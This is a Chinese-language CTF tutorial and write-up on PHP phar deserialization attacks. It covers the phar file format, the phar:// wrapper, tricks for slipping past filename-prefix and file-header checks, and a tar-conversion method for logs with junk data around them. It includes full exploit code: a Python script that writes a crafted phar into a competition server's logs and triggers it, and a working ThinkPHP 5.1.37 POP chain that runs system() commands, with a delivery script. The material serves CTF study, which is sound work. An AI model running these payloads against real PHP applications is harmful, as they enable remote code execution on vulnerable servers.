Phar
什么是Phar
PHp ARchive, like a Java JAR, but for PHP.
phar(PHp ARchive)是類似於JAR的一種打包文件。PHP ≥5.3對Phar后綴文件是默認開啟支持的,不需要任何其他的安裝就可以使用它。
phar擴展提供了一種將整個PHP應用程序放入.phar文件中的方法,以方便移動、安裝。.phar文件的最大特點是將幾個文件組合成一個文件的便捷方式,.phar文件提供了一種將完整的PHP程序分布在一個文件中並從該文件中運行的方法。
說白了,就是一種壓縮文件,但是不止能放壓縮文件進去。
在做進一步探究之前需要先調整配置,因為對於Phar文件的相關操作,php缺省狀態是只讀的(也就是說單純使用Phar文件不需要任何的調整配置)。但是因為我們現在需要創建一個自己的Phar文件,所以需要允許寫入Phar文件,這需要修改一下 php.ini
打開 php.ini
,找到 phar.readonly
指令行,修改成:
phar.readonly = 0
即可。
Phar文件格式
Phar文件由四部分組成:
1.stub
stub是phar文件的文件頭,格式為xxxxxx<?php ...;__HALT_COMPILER();?>
,xxxxxx可以是任意字符,包括留空,且php閉合符與最后一個分號之間不能有多於一個的空格符。另外php閉合符也可省略。
2.manifest describing the contents
該區域存放phar包的屬性信息,允許每個文件指定文件壓縮、文件權限,甚至是用戶定義的元數據,如文件用戶或組。
這里面的metadata以serialize形式儲存,為反序列化漏洞埋下了伏筆。
3.file contents
被壓縮的用戶添加的文件內容
4.signature
可選,phar文件的簽名,允許的有MD5, SHA1, SHA256, SHA512和OPENSSL.
這部分以GBMB
(47 42 4d 42)結尾。
需要注意,stub不一定要在文件開頭。
利用方式
在2018 Black Hat上,安全研究員Sam Thomas
分享了議題It’s a PHP unserialization vulnerability Jim, but not as we know it
.
利用phar文件會以序列化的形式存儲用戶自定義的meta-data這一特性,拓展了php反序列化漏洞的攻擊面。該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作。
也就是說,如果我們能控制傳入以下函數的參數,就有潛在的phar反序列化漏洞利用可能:
還有一些別的函數可用,可參考這篇:https://www.freebuf.com/articles/web/205943.html
試試看?
我們先來生成一個phar:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new TestObject();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
注意這邊$o反序列化只會保存數據不會保存方法。執行完畢后,我們來觀察phar文件的內容:
GBMB結尾的簽名以及序列化后的metadata清晰可見。
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';//既然是壓縮文件,我們可以如此訪問其中的某個文件
file_get_contents($filename);
?>
在上面的程序執行之后,我們會發現它輸出了“Destruct called”.這是由於phar被解析的時候,metadata被反序列化了,於是該實例被析構時調用__destruct函數。這便是反序列化漏洞的來由。
PHP ≥5.3默認支持phar文件;而在PHP8中,該漏洞被修復:metadata不會自動被反序列化了。(來源請求)
phar://是什么
前面提到,我們解析phar文件常常使用phar://偽協議。CTF中,由於偽協議提供了一系列對於文件的封裝協議,使得當源程序有可控的文件包含函數時,我們有機會利用這些協議控制其返回值或是完成一些預料外操作(例如反序列化)。作為偽協議的一種,由於phar本質上就是一個特殊的壓縮文件,所以phar://和zip://其實有很多相似之處,都可以訪問壓縮包中的子文件,並且zip://需要文件絕對路徑,phar://並不需要。(來源請求)
小tricks
繞過前綴過濾
隊里師傅的幾個example可以類比使用,都是在前綴非phar://的情況下調用了phar://
compress.bzip2和compress.zlib
<?php
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
file_get_contents($z);
php://
<?php
include('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
file_get_contents('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
簡單的繞過
我們可以利用stub部分前綴任意的特性:
<?php
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設置 stub,增加 gif 文件頭
這可以繞過一部分對文件頭的檢測。
繞過前后臟數據
由於簽名部分的存在,php會校驗文件哈希值,並檢查末尾是否為GBMB,如下是解析部分的源碼:
https://github.dev/php/php-src
可見,如果末尾不是GBMB會直接導致解析失敗。
在CTF中利用該漏洞需要我們完成寫入/上傳phar,並調用文件包含函數。我們知道一句話木馬由於有<?php ?>
這樣的頭尾標識存在,可以無視前后臟數據;然而對於phar,這樣的騷操作被簽名部分阻止了。有辦法繞過嗎?請參閱:https://www.php.net/manual/zh/phar.converttoexecutable.php
利用convertToExecutable函數,我們可以把phar文件轉為其他格式的phar文件,例如.tar和.zip格式。
我們以N1CTF easyphp為例子,這題允許我們寫入日志,並且可以利用phar反序列化得到flag,難點在於日志文件前后有額外臟數據,會使得我們的phar文件無法被解析。
然而如果以tar格式儲存phar,末尾的臟數據並不會影響解析(這是tar的格式決定的),而開頭的臟數據可以在制造phar文件時就提前構造好(這樣這部分數據也會被納入簽名計算),寫入日志時不必寫入這部分,而是令其與臟數據拼接形成合法的phar。exploit如下:
<?php
CLASS FLAG {
public function __destruct(){
echo "FLAG: " . $this->_flag;
}
}
$sb = $_GET['sb'];
$ts = $_GET['ts'];
$phar = new Phar($sb.".phar"); //后綴名必須為phar
**$phar = $phar->convertToExecutable(Phar::TAR); //會生成*.phar.tar**
$phar->startBuffering();
$phar->addFromString("Time: ".$ts." IP: [], REQUEST: [log_type=".$sb."], CONTENT: [", ""); //添加要壓縮的文件
//tar文件開頭是第一個添加文件的的文件名,注意添加的文件順序不要錯了
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new FLAG();
$o -> data = 'g0dsp3ed_1s_g0D';
$phar->setMetadata($o); //將自定義的meta-data存入manifest
//簽名自動計算
$phar->stopBuffering();
?>
把這個跑在本地web服務上,然后寫個腳本(當時半夜趕制的很丑會留下一些垃圾文件 求輕噴 隊里師傅寫的干凈多了):
import requests as rq
import json
import time
import random
ip = '<here_is_remote_ip>'
def generate_random_str(randomlength=16):
"""
生成一個指定長度的隨機字符串
"""
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
def new_one(offset):
rd = generate_random_str(4)
ts2 = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()+offset))
ts = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
res = rq.get(url=f"http://127.0.0.1/test.php?sb={rd}&ts={ts2}") # 訪問本地生成phar
with open(f'{rd}.phar.tar',"rb") as f:
data = f.read()
data = data[70::]#去掉前面的冗余部分以便和log前面拼接形成合法*.phar.tar
headers = {'content-type': 'application/x-www-form'} # 源文本
res = rq.post(url=f"http://43.155.59.185:53340/log.php?log_type={rd}",data=data) # 寫入日志
res = rq.post(url=f"http://43.155.59.185:53340?file=phar://./log/{ip}/{rd}_www.log") # 反序列化
print(res.text)
for i in range(-30,30):#考慮本地和遠程的時間差異,這邊設置個30s的窗口期
new_one(i)
time.sleep(0.9)
"""生成的文件長這樣(看個開頭就行)
00000000: 5469 6d65 3a20 3230 3231 2d31 312d 3232 Time: 2021-11-22
00000010: 2030 363a 3533 3a31 3520 4950 3a20 5b5d 06:53:15 IP: []
00000020: 2c20 5245 5155 4553 543a 205b 5d2c 2043 , REQUEST: [], C
00000030: 4f4e 5445 4e54 3a20 5b5f 5f5f 5f5f 5f5f ONTENT: [_______
00000040: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________
00000050: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________
00000060: 5f5f 5f5f 3030 3030 3634 3400 0000 0000 ____0000644.....
00000070: 0000 0000 0000 0000 0000 0000 3030 3030 ............0000
00000080: 3030 3030 3032 3400 3134 3134 3636 3337 0000024.14146637
00000090: 3133 3300 3030 3233 3534 3320 3000 0000 133.0023543 0...
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
"""
不只是tar,還有別的格式:
https://www.php.net/manual/zh/phar.converttoexecutable.php
對應的代碼:
<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//會生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//會生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//會生成xxxx.phar.zip
POP鏈
POP(property oriented programming),說白了就是經過一連串的魔術方法/特殊方法調用達到特定目的的一種攻擊方式,本質是通過在調用這些方法的過程中又觸發了別的特殊方法,引發連鎖反應直到觸及目標。phar反序列化使得不存在unserilize函數時這樣的攻擊也能成功,這正是所謂“擴大攻擊面”。我們以剛剛結束的安洵杯2021 EZ_TP為例子。
網站使用ThinkPHP V5.1.37,網上已有現成的POP鏈,現在需要我們在沒有unserilize函數的情況下完成反序列化攻擊。
<?php
namespace app\index\controller;
use think\Controller;
class Index extends controller
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello()
{
highlight_file(__FILE__);
$hello = base64_encode('Welcome to D0g3');
if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
if(isset($_REQUEST['world']))
{
parse_str($_REQUEST['world'],$haha);
extract($haha);
}
if (!isset($a)) {
$a = 'hello.txt';
}
$s = base64_decode($hello);
file_put_contents('hello.txt', $s);
if(isset($a))
{
echo (file_get_contents($a));
}
}
}
parse_str()和extract()使得我們可以通過變量覆蓋完成文件寫入與任意讀取,並且$a可以使用偽協議。那么接下來的事情就理所應當了:往hello.txt里寫入一個phar,metadata里面放ThinkPHP 5.1.37 的反序列化利用鏈,完成RCE.(關於這個POP鏈的原理請參閱https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-反序列化漏洞/Thinkphp-5.1.37-反序列化漏洞.html 講的很詳細)
<?php
namespace think{
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["godspeedyyds","xtxyyds"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_method' => '_method',
'var_ajax' => '_ajax',
'var_pjax' => '_pjax',
'var_pathinfo' => 's',
'pathinfo_fetch' => [
'ORIG_PATH_INFO',
'REDIRECT_PATH_INFO',
'REDIRECT_URL'
],
'default_filter' => '',
'url_domain_root' => '',
'https_agent_name' => '',
'http_agent_ip' => 'HTTP_X_REAL_IP',
'url_html_suffix' => 'html',
];
protected $param = ['cat /y0u_f0und_It'];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
}
namespace think\process\pipes{
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
use think\process\pipes\Windows;
$w = new Windows();
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub('<?php __HALT_COMPILER();?>');
$p->setMetadata($w);
$p->addFromString("test", "12345");
$p->stopBuffering();
}
執行后生成phar,然后執行腳本
import requests
import urllib.parse
import base64
import os
with open('phar.phar','rb') as f:
s = f.read()
s = urllib.parse.quote(base64.b64encode(s).decode())
# print(s)
remote = '<here_is_remote_ip>'
sess =requests.session()
r = sess.post(
url = f'http://{remote}/index.php/index/index/hello',
params={
'ethan':'<here_is_your_shell_command>'
},
data = {
'world':f'hello={s}&a=phar://./hello.txt'
}
)
print(r.text)
成功RCE
總結
phar反序列化提供了一種擴展反序列化漏洞攻擊面的方式、入口,所以基於unserialize()函數的各類攻擊tricks(比如引用繞過之類的)依然適用。鑒於phar反序列化漏洞設計版本較多,相信CTF比賽中它仍然會穩定出場。
參考資料:
https://www.php.net/manual/zh/class.phar.php
us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It
https://github.dev/php/php-src